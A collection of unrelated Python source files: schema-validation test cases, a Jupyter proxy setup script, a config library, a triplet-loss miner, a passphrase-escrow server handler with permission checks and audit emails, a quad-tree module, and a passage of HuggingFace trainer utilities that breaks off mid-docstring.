"name": "Unexpected null",
"doc": "bool",
"obj": None,
"want": "At location $ - expected a boolean",
},
{
"name": "Unwanted real",
"doc": "int",
"obj": 0.0,
"want": "At location $ - expected an int",
},
{
"name": "Unexpected int",
"doc": "real",
"obj": 0,
"want": "At location $ - expected a real",
},
{
"name": "Unexpected string",
"doc": "number",
"obj": "notanumber",
"want": "At location $ - expected a number",
},
{
"name": "Not Int more than or equal to",
"doc": "int >= 10",
"obj": 2,
"want": "At location $ - expected an int that is more than or equal to '10', got '2'",
},
{
"name": "Not Int more than (1)",
"doc": "int > 10",
"obj": 10,
"want": "At location $ - expected an int that is more than '10', got '10'",
},
{
"name": "Not Int more than (2)",
"doc": "int > 10",
"obj": 9,
"want": "At location $ - expected an int that is more than '10', got '9'",
},
{
"name": "Not Int less than or equal to",
"doc": "int <= 10",
"obj": 20,
"want": "At location $ - expected an int that is less than or equal to '10', got '20'",
},
{
"name": "Not Int less than (1)",
"doc": "int < 10",
"obj": 10,
"want": "At location $ - expected an int that is less than '10', got '10'",
},
{
"name": "Not Int less than (2)",
"doc": "int < 10",
"obj": 11,
"want": "At location $ - expected an int that is less than '10', got '11'",
},
{
"name": "Not Real more than or equal to",
"doc": "real >= 10.5",
"obj": 9.5,
"want": "At location $ - expected a real that is more than or equal to '10.5', got '9.5'",
},
{
"name": "Not Real more than (1)",
"doc": "real > 10.5",
"obj": 10.5,
"want": "At location $ - expected a real that is more than '10.5', got '10.5'",
},
{
"name": "Not Real more than (2)",
"doc": "real > 10.5",
"obj": 7.5,
"want": "At location $ - expected a real that is more than '10.5', got '7.5'",
},
{
"name": "Not Real less than or equal to",
"doc": "real <= 10.5",
"obj": 19.5,
"want": "At location $ - expected a real that is less than or equal to '10.5', got '19.5'",
},
{
"name": "Not Real less than (1)",
"doc": "real < 10.0",
"obj": 10.0,
"want": "At location $ - expected a real that is less than '10.0', got '10.0'",
},
{
"name": "Not Real less than (2)",
"doc": "real < 10.0",
"obj": 10.1,
"want": "At location $ - expected a real that is less than '10.0', got '10.1'",
},
{
"name": "Not Number more than or equal to",
"doc": "number >= 10.3",
"obj": 3,
"want": "At location $ - expected a number that is more than or equal to '10.3', got '3'",
},
{
"name": "Not Number more than (1)",
"doc": "number > 10.2",
"obj": 10.2,
"want": "At location $ - expected a number that is more than '10.2', got '10.2'",
},
{
"name": "Not Number more than (2)",
"doc": "number > 10.2",
"obj": 10,
"want": "At location $ - expected a number that is more than '10.2', got '10'",
},
{
"name": "Not Number less than or equal to",
"doc": "number <= 10.3",
"obj": 30,
"want": "At location $ - expected a number that is less than or equal to '10.3', got '30'",
},
{
"name": "Not Number less than (1)",
"doc": "number < 10",
"obj": 10,
"want": "At location $ - expected a number that is less than '10', got '10'",
},
{
"name": "Not Number less than (2)",
"doc": "number < 10",
"obj": 10.8,
"want": "At location $ - expected a number that is less than '10', got '10.8'",
},
]
self._bad_match(test_cases)
|
import setuptools
setuptools.setup(
name="nbrsessionproxy",
version='0.7.0',
url="https://github.com/rahuldshetty/nbrsessionproxy",
author="Ryan Lovett",
description="Jupyter extension to proxy RStudio's rsession",
packages=setuptools.find_packages(),
keywords=['Jupyter'],
classifiers=['Framework :: Jupyter'],
install_requires=[
'notebook',
'nbserverproxy >= 0.5.1'
],
package_data={'nbrsessionproxy': ['static/*']},
)
|
''' QuickFig Object '''
import logging
import os
import yaml
from .data_types import DEFAULT_TYPE_RESOLVER
from .definitions import QuickFigDefinition, get_default_definition
LOG = logging.getLogger(__name__)
class QuickFigNode(object):
''' QuickFig main object '''
def __init__(self, root=None, path=None, resolver=None):
''' Construct QuickFig Object '''
self._root = root
self._path = path
self._type_resolver = resolver if resolver else None
@property
def _resolver(self):
''' Get Type Resolver '''
resolver = self._type_resolver
if not resolver and self._root:
resolver = self._root._resolver # pylint: disable=W0212
return resolver if resolver else DEFAULT_TYPE_RESOLVER
@property
def _data(self):
''' Get Root Data '''
return self._root._data # pylint: disable=W0212
def _full_key(self, key):
''' Get full key name '''
if self._path:
return "%s.%s" % (self._path, key)
return key
def set(self, key, value):
''' Set Value using absolute key '''
self._root.set(self._full_key(key), value)
def get(self, key, default_value=None, use_definition_default=False):
''' Get using absolute key value '''
return self._root.get(self._full_key(key),
default_value=default_value,
use_definition_default=use_definition_default)
def section(self, section_name):
''' Get QuickFigNode for a section or sub-section '''
if section_name:
return QuickFigNode(root=self._root if self._root else self,
path=self._full_key(section_name))
return self
def get_definition(self, key, test_value="", default_dtype=None):
''' Get Definition for key '''
path = self._full_key(key)
if not default_dtype:
default_dtype = self._resolver.by_value(test_value)
definition = self.definitions.get(path, None)
if not definition:
definition = get_default_definition(self._resolver, default_dtype)
return definition
def __getattr__(self, key):
''' Attribute Getter '''
param = self._full_key(key)
data = self._data
if param in data:
return self.get(key, use_definition_default=True)
return self.section(key)
@property
def definitions(self):
''' Return definitions '''
if self._root:
return self._root._defs
if isinstance(self, QuickFig):
return self._defs
LOG.debug("Unable to find definitions..")
return {}
def __repr__(self):
''' Dump Config '''
dump = "#QuickFig Config\n"
if self._path:
dump += "#\n# Path: %s\n#\n" % self._path
for key in sorted(self._data.keys()):
value = self._data[key]
param = key
if self._path:
if not param.startswith("%s." % self._path):
LOG.debug("Skipping non-matching parameter")
continue
param = key[len(self._path) + 1:]
definition = self.get_definition(param, test_value=value)
dump += "\n# %s (Default: '%s')\n" % (
definition.desc.replace('\n', '\n# '),
definition.default)
dump += "%s = %s\n" % (param, value)
dump += "\n#End QuickFig Config\n"
return dump
class QuickFig(QuickFigNode):
''' Root QuickFig Node '''
def __init__(self, definitions=None, config=None, overrides=None,
resolver=None):
''' Construct QuickFig Object '''
self._definitions = definitions
self._overrides = overrides
self._defs = {}
self._root_data = {}
self.quickfig_load(config)
QuickFigNode.__init__(self, resolver=resolver)
def _load_definitions(self, definitions):
''' Load Definitions '''
if definitions:
for param, def_dict in definitions.items():
definition = QuickFigDefinition(def_dict)
self._defs[param] = definition
value = definition.from_env()
if value is None:
value = definition.default
self.set(param, value)
def quickfig_load(self, config):
''' Load configuration'''
self._defs = {}
self._root_data = {}
self._load_definitions(self._definitions)
self._load_data(config)
self._load_data(self._overrides)
def quickfig_load_from_file(self, filename, warn=False):
''' Load from file '''
level = logging.WARNING if warn else logging.DEBUG
if os.path.isfile(filename):
try:
with open(filename, 'r') as stream:
config = yaml.safe_load(stream)
self.quickfig_load(config)
except Exception as ex: # pylint: disable=broad-except
logging.log(
level, "Unable to load config from file: %s: %s",
filename, ex)
else:
logging.log(level, "Unable to load config from file: %s",
filename)
def _load_data(self, data, prefix=None):
''' Load data from dictionary '''
if data is not None:
if isinstance(data, dict):
for key, item in data.items():
new_prefix = key if prefix is None else "%s.%s" % (
prefix, key)
self._load_data(item, new_prefix)
else:
self.set(prefix, data)
@property
def _data(self):
''' Get Root Data '''
return self._root_data
def set(self, key, value):
''' Set Value using absolute key '''
self._root_data[str(key)] = value
def get_data_type(self, key, test_value=""):
''' Get Data Type '''
default_def = get_default_definition(
None, self._resolver.by_value(test_value))
return self._defs.get(key, default_def).data_type
def get(self, key, default_value=None, use_definition_default=False):
''' Get using absolute key value '''
if use_definition_default:
definition = self.get_definition(key, "")
default_value = definition.default
value = self._root_data.get(key, default_value)
definition = self.get_definition(key, value)
return definition.convert_to(value)
|
import torch
from .base_miner import BaseTripletMiner
from .registry import MINING
@MINING.register()
class TripletHardest(BaseTripletMiner):
"""
Idea of sampling is choosing the harderst positive and negative for each anchor.
This idea is taken from 'In Defense of the Triplet Loss for Person Re-Identification'
Code based on idea from https://github.com/Cysu/open-reid
"""
def sampling(self, dist_mat: torch.Tensor, labels: torch.Tensor):
N = dist_mat.size(0)
dist_ap, dist_an = self.get_pos_neg_mat(dist_mat, labels)
# distances of anchor and positive, take example which is the farthest compared to anchor
dist_ap, _ = torch.max(dist_ap.contiguous().view(N, -1), 1, keepdim=True)
# distances of anchor and negative, take example which is the closest compared to anchor
dist_an, _ = torch.min(dist_an.contiguous().view(N, -1), 1, keepdim=True)
dist_ap = dist_ap.squeeze(1)
dist_an = dist_an.squeeze(1)
return dist_ap, dist_an
|
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Base class for passphrase upload/retrieval handlers."""
import base64
import cgi
import httplib
import logging
import StringIO
from google.appengine.api import app_identity
from google.appengine.api import datastore_errors
from google.appengine.ext import db
from cauliflowervest import settings as base_settings
from cauliflowervest.server import permissions
from cauliflowervest.server import service_factory
from cauliflowervest.server import settings
from cauliflowervest.server import util
from cauliflowervest.server.handlers import base_handler
from cauliflowervest.server.models import base
from cauliflowervest.server.models import errors
class InvalidArgumentError(errors.Error):
"""One of argument has invalid value or missing."""
error_code = httplib.BAD_REQUEST
def SendRetrievalEmail(
permission_type, entity, user, template='retrieval_email.txt',
skip_emails=None):
"""Sends a retrieval notification email.
Args:
permission_type: string, one of permission.TYPE_* variables.
entity: base.BasePassphrase instance of retrieved object.
user: base.User object of the user that retrieved the secret.
template: str message template.
skip_emails: list filter emails from recipients.
"""
data = {
'entity': entity,
'helpdesk_email': settings.HELPDESK_EMAIL,
'helpdesk_name': settings.HELPDESK_NAME,
'retrieved_by': user.user.email(),
'user': user,
'server_hostname': app_identity.get_default_version_hostname(),
}
body = util.RenderTemplate(template, data)
user_email = user.user.email()
try:
base_handler.VerifyPermissions(
permissions.SILENT_RETRIEVE, user, permission_type)
return
except errors.AccessDeniedError:
pass
try:
# If the user has access to "silently" retrieve keys without the owner
# being notified, email only SILENT_AUDIT_ADDRESSES.
base_handler.VerifyPermissions(
permissions.SILENT_RETRIEVE_WITH_AUDIT_EMAIL, user, permission_type)
to = [user_email] + settings.SILENT_AUDIT_ADDRESSES
except errors.AccessDeniedError:
# Otherwise email the owner and RETRIEVE_AUDIT_ADDRESSES.
to = [user_email] + settings.RETRIEVE_AUDIT_ADDRESSES
if entity.owners:
to.extend(entity.owners)
if skip_emails:
to = [email for email in to if email not in skip_emails]
subject_var = '%s_RETRIEVAL_EMAIL_SUBJECT' % entity.ESCROW_TYPE_NAME.upper()
subject = getattr(
settings, subject_var, 'Escrow secret retrieval notification.')
util.SendEmail(to, subject, body)
class PassphraseHandler(base_handler.BaseHandler):
"""Class which handles passphrase upload/retrieval."""
JSON_SECRET_NAME = 'passphrase'
PERMISSION_TYPE = 'base'
TARGET_ID_REGEX = None
SECRET_REGEX = None
QRCODE_DURING_PASSPHRASE_RETRIEVAL = True
def get(self, target_id):
"""Handles GET requests."""
if not self.IsValidTargetId(target_id):
raise errors.AccessError('target_id is malformed')
self.RetrieveSecret(target_id)
def put(self, target_id=None):
"""Handles PUT requests."""
if not target_id:
target_id = self.request.get('volume_uuid')
email = self._VerifyEscrowPermission()
self.VerifyXsrfToken(base_settings.SET_PASSPHRASE_ACTION)
if not self.IsValidTargetId(target_id):
raise errors.AccessError('target_id is malformed')
secret = self.GetSecretFromBody()
if not target_id or not secret:
self.AUDIT_LOG_MODEL.Log(message='Unknown PUT', request=self.request)
self.error(httplib.BAD_REQUEST)
return
if not self.IsValidSecret(secret):
raise errors.AccessError('secret is malformed')
owner = self.SanitizeEntityValue('owner', self.request.get('owner'))
if email:
owner = owner or email
self.PutNewSecret(owner, target_id, secret, self.request)
def _CreateNewSecretEntity(self, *args):
raise NotImplementedError()
def _VerifyEscrowPermission(self):
"""Returns user object or None."""
user = self.VerifyPermissions(permissions.ESCROW)
return user.email
def GetSecretFromBody(self):
"""Returns the uploaded secret from a PUT or POST request."""
secret = self.request.body
if not secret:
return None
# Work around a client/server bug which causes a stray '=' to be added
# to the request body when a form-encoded content type is sent.
if (self.request.content_type ==
'application/x-www-form-urlencoded' and secret[-1] == '='):
return secret[:-1]
else:
return secret
def IsValidSecret(self, unused_secret):
"""Returns true if secret str is a well formatted."""
return True
def IsValidTargetId(self, target_id):
"""Returns true if target_id str is a well formatted."""
if self.TARGET_ID_REGEX is None:
return True
return self.TARGET_ID_REGEX.match(target_id) is not None
def PutNewSecret(self, owner, target_id, secret, metadata):
"""Puts a new BasePassphrase entity to Datastore.
Args:
owner: str, email address of the key pair's owner.
target_id: str, target id associated with this passphrase.
secret: str, secret data to escrow.
metadata: dict, dict of str metadata with keys matching
model's property names.
"""
if not target_id:
raise errors.AccessError('target_id is required')
entity = self._CreateNewSecretEntity(owner, target_id, secret)
for prop_name in entity.properties():
value = metadata.get(prop_name)
if value:
setattr(entity, prop_name, self.SanitizeEntityValue(prop_name, value))
inventory = service_factory.GetInventoryService()
inventory.FillInventoryServicePropertiesDuringEscrow(
entity, self.request)
for k, v in inventory.GetMetadataUpdates(entity).items():
setattr(entity, k, v)
try:
entity.put()
except errors.DuplicateEntity:
logging.info('Same data already in datastore.')
else:
self.AUDIT_LOG_MODEL.Log(
entity=entity, message='PUT', request=self.request)
self.response.out.write('Secret successfully escrowed!')
def CheckRetrieveAuthorizationAndNotifyOwner(self, entity):
"""Checks whether the user is authorised to retrieve the secret.
Args:
entity: base.BasePassPhrase instance of retrieved object.
Raises:
errors.AccessDeniedError: user lacks any retrieval permissions.
errors.AccessError: user lacks a specific retrieval permission.
"""
user = base.GetCurrentUser()
try:
self.VerifyPermissions(permissions.RETRIEVE, user=user)
except errors.AccessDeniedError:
try:
self.VerifyPermissions(permissions.RETRIEVE_CREATED_BY, user=user)
if str(entity.created_by) not in str(user.user.email()):
raise
except errors.AccessDeniedError:
self.VerifyPermissions(permissions.RETRIEVE_OWN, user=user)
if user.email not in entity.owners:
raise
if user.email not in entity.owners:
SendRetrievalEmail(self.PERMISSION_TYPE, entity, user)
def RetrieveSecret(self, target_id):
"""Handles a GET request to retrieve a secret.
Args:
target_id: str, Target ID to fetch the secret for.
Raises:
base.AccessError: given target_id is malformed.
base.NotFoundError: no secret was found for the given target_id.
"""
self.VerifyXsrfToken(base_settings.GET_PASSPHRASE_ACTION)
if self.request.get('id'):
try:
entity = self.SECRET_MODEL.get(db.Key(self.request.get('id')))
except datastore_errors.BadKeyError:
raise errors.AccessError('target_id is malformed')
else:
entity = self.SECRET_MODEL.GetLatestForTarget(
target_id, tag=self.request.get('tag', 'default'))
if not entity:
raise errors.NotFoundError(
'Passphrase not found: target_id %s' % target_id)
self.CheckRetrieveAuthorizationAndNotifyOwner(entity=entity)
self.AUDIT_LOG_MODEL.Log(message='GET', entity=entity, request=self.request)
escrow_secret = str(entity.secret).strip()
escrow_barcode_svg = None
qr_img_url = None
if self.QRCODE_DURING_PASSPHRASE_RETRIEVAL:
if len(escrow_secret) <= 100:
qr_img_url = (
'https://chart.googleapis.com/chart?chs=245x245&cht=qr&chl='
+ cgi.escape(escrow_secret))
recovery_str = self._PassphraseTypeName(entity)
params = {
'volume_type': self.SECRET_MODEL.ESCROW_TYPE_NAME,
'volume_uuid': entity.target_id,
'qr_img_url': qr_img_url,
'escrow_secret': escrow_secret,
'checksum': entity.checksum,
'recovery_str': recovery_str,
}
params[self.JSON_SECRET_NAME] = escrow_secret
if entity.active:
entity.UpdateMutableProperty('force_rekeying', True)
self.response.out.write(util.ToSafeJson(params))
def _PassphraseTypeName(self, entity):
return '%s key' % entity.ESCROW_TYPE_NAME
def SanitizeEntityValue(self, unused_prop_name, value):
if value is not None:
return cgi.escape(value)
def VerifyPermissions(
self, required_permission, user=None, permission_type=None):
"""Verifies a valid user is logged in.
Args:
required_permission: permission string from permissions.*.
user: optional, base.User entity; default current user.
permission_type: optional, string, one of permission.TYPE_* variables. if
omitted, self.PERMISSION_TYPE is used.
Returns:
base.User object of the current user.
Raises:
errors.AccessDeniedError: there was a permissions issue.
"""
permission_type = permission_type or self.PERMISSION_TYPE
if user is None:
user = base.GetCurrentUser()
base_handler.VerifyPermissions(required_permission, user, permission_type)
return user
|
# Author: Hayk Aleksanyan
# create and test Trees for spatial partition
def rectArea(r):
# returns the area of the rectangle given in min-max coordinates (top-left <--> bottom-right)
return abs( (r[0] - r[2])*(r[1] - r[3]) )
class Node:
"""
used to model a rectangle in quad-tree partition of the 2d plane;
each Node models a rectangle in the partition and can have at most 4 sub-rectanlges
representing the members of quad-tree construction
the value of the node is a 4-tuple of integers representing a rectangle
in "left upper-coord, and right-buttom" form
"""
def __init__(self, val, p):
self.value = val
self.parent = p # is a Node or None if this is the root
self.isFull = False # shows if the node has maximum number of children
# i.e. has reached its full capacity (2 or 4 in our case)
self.child1 = None
self.child2 = None
self.child3 = None
self.child4 = None
def isLeaf(self):
# true, if this node is a leaf, i.e. has no children
return ( (self.child1 is None) and (self.child2 is None) and (self.child3 is None) and (self.child4 is None) )
def Children(self):
# return the list of children, if any
c = []
if self.child1 is not None:
c.append(self.child1)
if self.child2 is not None:
c.append(self.child2)
if self.child3 is not None:
c.append(self.child3)
if self.child4 is not None:
c.append(self.child4)
return c
def hasLeaf_ChildrenOnly(self):
# True, if the all children of this node (if any) are leaves
if (self.child1 is not None):
if self.child1.isLeaf() == False:
return False
if (self.child2 is not None):
if self.child2.isLeaf() == False:
return False
if (self.child3 is not None):
if self.child3.isLeaf() == False:
return False
if (self.child4 is not None):
if self.child4.isLeaf() == False:
return False
return True
class Tree:
"""
stores the entire quad-tree partition, where each member of the partition is a Node class
"""
def __init__(self, root):
# root is a Node; serves as the root of this tree
self.root = root
def getLeafs(self):
#returns the leafs of the tree as a list
if self.root == None:
return []
res = []
c = self.root.Children()
while c:
c1 = []
for x in c:
if x.isLeaf():
res.append(x)
else:
for u in x.Children():
c1.append(u)
c = c1
return res
def nodeCount(self):
# returns the leafs of the tree as a list
if self.root == None:
return 0
res = 1
c = self.root.Children()
while c:
c1 = []
res += len(c)
for x in c:
#print(' '*i + 'Level ' + str(i) + ' : ' + str(x.value) )
if x.isLeaf() == False:
for u in x.Children():
c1.append(u)
c = c1
return res
def getValues(self, output = False):
"""
traverses the tree T from the root to its leaves and returns a list of all values of all nodes
if output == True, prints the values
"""
if self.root == None:
if output == True:
print('The tree is empty')
return []
res = [ self.root.value ]
c = self.root.Children()
i = 0
while c:
i += 1
c1 = []
for x in c:
if output == True:
print(' '*i + 'Level ' + str(i) + ' : ' + str(x.value) )
res.append(x.value)
if not x.isLeaf():
for u in x.Children():
c1.append(u)
c = c1
return res
def compress(self):
"""
compresses the tree T by removing all leaves whose siblings
are leafs and whose parents have reached their full (child) capacity,
i.e. have MAX number of children (2 or 4 in our case)
performs this process from bottom-up until there is nothing to remove
"""
if self.root == None:
return
current_level = [ self.root ]
all_nodes = [ [current_level] ]
while True:
c = []
for i in range( len(current_level) ):
x = current_level[i]
if x.child1 != None:
c.append(x.child1)
if x.child2 != None:
c.append(x.child2)
if x.child3 != None:
c.append(x.child3)
if x.child4 != None:
c.append(x.child4)
if c == []:
break
all_nodes.append(c)
current_level = c[:]
for i in range( len( all_nodes ) -1, 0, -1 ):
for j in range( len( all_nodes[i] ) ):
n = all_nodes[i][j]
if n != None:
p = n.parent
if p.isFull:
# p has all 4 or all 2 children
if p.hasLeaf_ChildrenOnly():
# compression means that we destroy all children of a node
# with only leaf children and where all child nodes are occupied
p.child1 = None
p.child2 = None
p.child3 = None
p.child4 = None
def areaCovered( self ):
"""
compute the numerical value of the 2d area covered by this Tree
the object represented by this tree is the disjoin union of its leaves;
leaves are rectangles, thus we need to compute the sum of the areas of these rectangles
"""
a = 0
c = self.getLeafs()
for r in c:
a += rectArea(r.value)
return a
|
# coding=utf-8
# Copyright 2020-present the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Torch utilities for the Trainer class.
"""
import datetime
import json
import math
import os
import sys
import warnings
from contextlib import contextmanager
from dataclasses import dataclass
from logging import StreamHandler
from typing import Any, Dict, Iterator, List, Optional, Union
import numpy as np
import torch
from packaging import version
from torch import nn
from torch.utils.data import Dataset, IterableDataset, RandomSampler, Sampler
from torch.utils.data.distributed import DistributedSampler
from .file_utils import (
is_sagemaker_dp_enabled,
is_sagemaker_mp_enabled,
is_torch_tpu_available,
is_training_run_on_sagemaker,
)
from .tokenization_utils_base import BatchEncoding
from .utils import logging
if is_sagemaker_dp_enabled():
import smdistributed.dataparallel.torch.distributed as dist
else:
import torch.distributed as dist
if is_training_run_on_sagemaker():
logging.add_handler(StreamHandler(sys.stdout))
if is_torch_tpu_available():
import torch_xla.core.xla_model as xm
# this is used to suppress an undesired warning emitted by pytorch versions 1.4.2-1.7.0
try:
from torch.optim.lr_scheduler import SAVE_STATE_WARNING
except ImportError:
SAVE_STATE_WARNING = ""
logger = logging.get_logger(__name__)
def torch_pad_and_concatenate(tensor1, tensor2, padding_index=-100):
"""Concatenates `tensor1` and `tensor2` on first axis, applying padding on the second if necessary."""
if len(tensor1.shape) == 1 or tensor1.shape[1] == tensor2.shape[1]:
return torch.cat((tensor1, tensor2), dim=0)
# Let's figure out the new shape
new_shape = (tensor1.shape[0] + tensor2.shape[0], max(tensor1.shape[1], tensor2.shape[1])) + tensor1.shape[2:]
# Now let's fill the result tensor
result = tensor1.new_full(new_shape, padding_index)
result[: tensor1.shape[0], : tensor1.shape[1]] = tensor1
result[tensor1.shape[0] :, : tensor2.shape[1]] = tensor2
return result
def numpy_pad_and_concatenate(array1, array2, padding_index=-100):
"""Concatenates `array1` and `array2` on first axis, applying padding on the second if necessary."""
if len(array1.shape) == 1 or array1.shape[1] == array2.shape[1]:
return np.concatenate((array1, array2), axis=0)
# Let's figure out the new shape
new_shape = (array1.shape[0] + array2.shape[0], max(array1.shape[1], array2.shape[1])) + array1.shape[2:]
# Now let's fill the result tensor
result = np.full_like(array1, padding_index, shape=new_shape)
result[: array1.shape[0], : array1.shape[1]] = array1
result[array1.shape[0] :, : array2.shape[1]] = array2
return result
def nested_concat(tensors, new_tensors, padding_index=-100):
"""
Concat the `new_tensors` to `tensors` on the first dim and pad them on the second if needed. Works for tensors or
nested list/tuples of tensors.
"""
assert type(tensors) == type(
new_tensors
), f"Expected `tensors` and `new_tensors` to have the same type but found {type(tensors)} and {type(new_tensors)}."
if isinstance(tensors, (list, tuple)):
return type(tensors)(nested_concat(t, n, padding_index=padding_index) for t, n in zip(tensors, new_tensors))
elif isinstance(tensors, torch.Tensor):
return torch_pad_and_concatenate(tensors, new_tensors, padding_index=padding_index)
elif isinstance(tensors, np.ndarray):
return numpy_pad_and_concatenate(tensors, new_tensors, padding_index=padding_index)
else:
raise TypeError(f"Unsupported type for concatenation: got {type(tensors)}")
def find_batch_size(tensors):
"""
Find the first dimension of a tensor in a nested list/tuple/dict of tensors.
"""
if isinstance(tensors, (list, tuple)):
for t in tensors:
result = find_batch_size(t)
if result is not None:
return result
elif isinstance(tensors, (dict, BatchEncoding)):
for key, value in tensors.items():
result = find_batch_size(value)
if result is not None:
return result
elif isinstance(tensors, torch.Tensor):
return tensors.shape[0] if len(tensors.shape) >= 1 else None
elif isinstance(tensors, np.ndarray):
return tensors.shape[0] if len(tensors.shape) >= 1 else None
def nested_numpify(tensors):
"Numpify `tensors` (even if it's a nested list/tuple of tensors)."
if isinstance(tensors, (list, tuple)):
return type(tensors)(nested_numpify(t) for t in tensors)
return tensors.cpu().numpy()
def nested_detach(tensors):
"Detach `tensors` (even if it's a nested list/tuple of tensors)."
if isinstance(tensors, (list, tuple)):
return type(tensors)(nested_detach(t) for t in tensors)
return tensors.detach()
def nested_xla_mesh_reduce(tensors, name):
if is_torch_tpu_available():
import torch_xla.core.xla_model as xm
if isinstance(tensors, (list, tuple)):
return type(tensors)(nested_xla_mesh_reduce(t, f"{name}_{i}") for i, t in enumerate(tensors))
return xm.mesh_reduce(name, tensors, torch.cat)
else:
raise ImportError("Torch xla must be installed to use `nested_xla_mesh_reduce`")
def distributed_concat(tensor: Any, num_total_examples: Optional[int] = None) -> Any:
try:
if isinstance(tensor, (tuple, list)):
return type(tensor)(distributed_concat(t, num_total_examples) for t in tensor)
output_tensors = [tensor.clone() for _ in range(dist.get_world_size())]
output_tensors = [t if len(t.shape) > 0 else t[None] for t in output_tensors]
dist.all_gather(output_tensors, tensor)
concat = torch.cat(output_tensors, dim=0)
# truncate the dummy elements added by SequentialDistributedSampler
if num_total_examples is not None:
concat = concat[:num_total_examples]
return concat
except AssertionError:
raise AssertionError("Not currently using distributed training")
def distributed_broadcast_scalars(
scalars: List[Union[int, float]],
num_total_examples: Optional[int] = None,
device: Optional[torch.device] = torch.device("cuda"),
) -> torch.Tensor:
try:
tensorized_scalar = torch.tensor(scalars).to(device)
output_tensors = [tensorized_scalar.clone() for _ in range(dist.get_world_size())]
dist.all_gather(output_tensors, tensorized_scalar)
concat = torch.cat(output_tensors, dim=0)
# truncate the dummy elements added by SequentialDistributedSampler
if num_total_examples is not None:
concat = concat[:num_total_examples]
return concat
except AssertionError:
raise AssertionError("Not currently using distributed training")
def reissue_pt_warnings(caught_warnings):
# Reissue warnings that are not the SAVE_STATE_WARNING
if len(caught_warnings) > 1:
for w in caught_warnings:
if w.category != UserWarning or w.message != SAVE_STATE_WARNING:
warnings.warn(w.message, w.category)
@contextmanager
def torch_distributed_zero_first(local_rank: int):
"""
Decorator to make all processes in distributed training wait for each local_master to do something.
Args:
local_rank (:obj:`int`): The rank of the local process.
"""
if local_rank not in [-1, 0]:
dist.barrier()
yield
if local_rank == 0:
dist.barrier()
class DistributedSamplerWithLoop(DistributedSampler):
"""
Like a :obj:torch.utils.data.distributed.DistributedSampler` but loops at the end back to the beginning of the
shuffled samples to make each process have a round multiple of batch_size samples.
Args:
dataset (:obj:`torch.utils.data.Dataset`):
Dataset used for sampling.
batch_size (:obj:`int`):
The batch size used with this sampler
kwargs:
All other keyword arguments passed to :obj:`DistributedSampler`.
"""
def __init__(self, dataset, batch_size, **kwargs):
super().__init__(dataset, **kwargs)
self.batch_size = batch_size
def __iter__(self):
indices = list(super().__iter__())
remainder = 0 if len(indices) % self.batch_size == 0 else self.batch_size - len(indices) % self.batch_size
# DistributedSampler already added samples from the beginning to make the number of samples a round multiple
# of the world size, so we skip those.
start_remainder = 1 if self.rank < len(self.dataset) % self.num_replicas else 0
indices += indices[start_remainder : start_remainder + remainder]
return iter(indices)
class SequentialDistributedSampler(Sampler):
"""
Distributed Sampler that subsamples indices sequentially, making it easier to collate all results at the end.
Even though we only use this sampler for eval and predict (no training), which means that the model params won't
have to be synced (i.e. will not hang for synchronization even if varied number of forward passes), we still add
extra samples to the sampler to make it evenly divisible (like in `DistributedSampler`) to make it easy to `gather`
or `reduce` resulting tensors at the end of the loop.
"""
def __init__(self, dataset, num_replicas=None, rank=None, batch_size=None):
warnings.warn(
"SequentialDistributedSampler is deprecated and will be removed in v5 of Transformers.",
FutureWarning,
)
if num_replicas is None:
if not dist.is_available():
raise RuntimeError("Requires distributed package to be available")
num_replicas = dist.get_world_size()
if rank is None:
if not dist.is_available():
raise RuntimeError("Requires distributed package to be available")
rank = dist.get_rank()
self.dataset = dataset
self.num_replicas = num_replicas
self.rank = rank
num_samples = len(self.dataset)
# Add extra samples to make num_samples a multiple of batch_size if passed
if batch_size is not None:
self.num_samples = int(math.ceil(num_samples / (batch_size * num_replicas))) * batch_size
else:
self.num_samples = int(math.ceil(num_samples / num_replicas))
self.total_size = self.num_samples * self.num_replicas
self.batch_size = batch_size
def __iter__(self):
indices = list(range(len(self.dataset)))
# add extra samples to make it evenly divisible
indices += indices[: (self.total_size - len(indices))]
assert (
len(indices) == self.total_size
), f"Indices length {len(indices)} and total size {self.total_size} mismatched"
# subsample
indices = indices[self.rank * self.num_samples : (self.rank + 1) * self.num_samples]
assert (
len(indices) == self.num_samples
), f"Indices length {len(indices)} and sample number {self.num_samples} mismatched"
return iter(indices)
def __len__(self):
return self.num_samples
def get_tpu_sampler(dataset: torch.utils.data.Dataset, batch_size: int):
if xm.xrt_world_size() <= 1:
return RandomSampler(dataset)
return DistributedSampler(dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal())
def nested_new_like(arrays, num_samples, padding_index=-100):
"""Create the same nested structure as `arrays` with a first dimension always at `num_samples`."""
if isinstance(arrays, (list, tuple)):
return type(arrays)(nested_new_like(x, num_samples) for x in arrays)
return np.full_like(arrays, padding_index, shape=(num_samples, *arrays.shape[1:]))
def expand_like(arrays, new_seq_length, padding_index=-100):
"""Expand the `arrays` so that the second dimension grows to `new_seq_length`. Uses `padding_index` for padding."""
result = np.full_like(arrays, padding_index, shape=(arrays.shape[0], new_seq_length) + arrays.shape[2:])
result[:, : arrays.shape[1]] = arrays
return result
def nested_truncate(tensors, limit):
"Truncate `tensors` at `limit` (even if it's a nested list/tuple of tensors)."
if isinstance(tensors, (list, tuple)):
return type(tensors)(nested_truncate(t, limit) for t in tensors)
return tensors[:limit]
class DistributedTensorGatherer:
"""
A class responsible for properly gathering tensors (or nested list/tuple of tensors) on the CPU by chunks.
If our dataset has 16 samples with a batch size of 2 on 3 processes and we gather then transfer on CPU at every
step, our sampler will generate the following indices:
:obj:`[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0, 1]`
to get something of size a multiple of 3 (so that each process gets the same dataset length). Then process 0, 1 and
2 will be responsible of making predictions for the following samples:
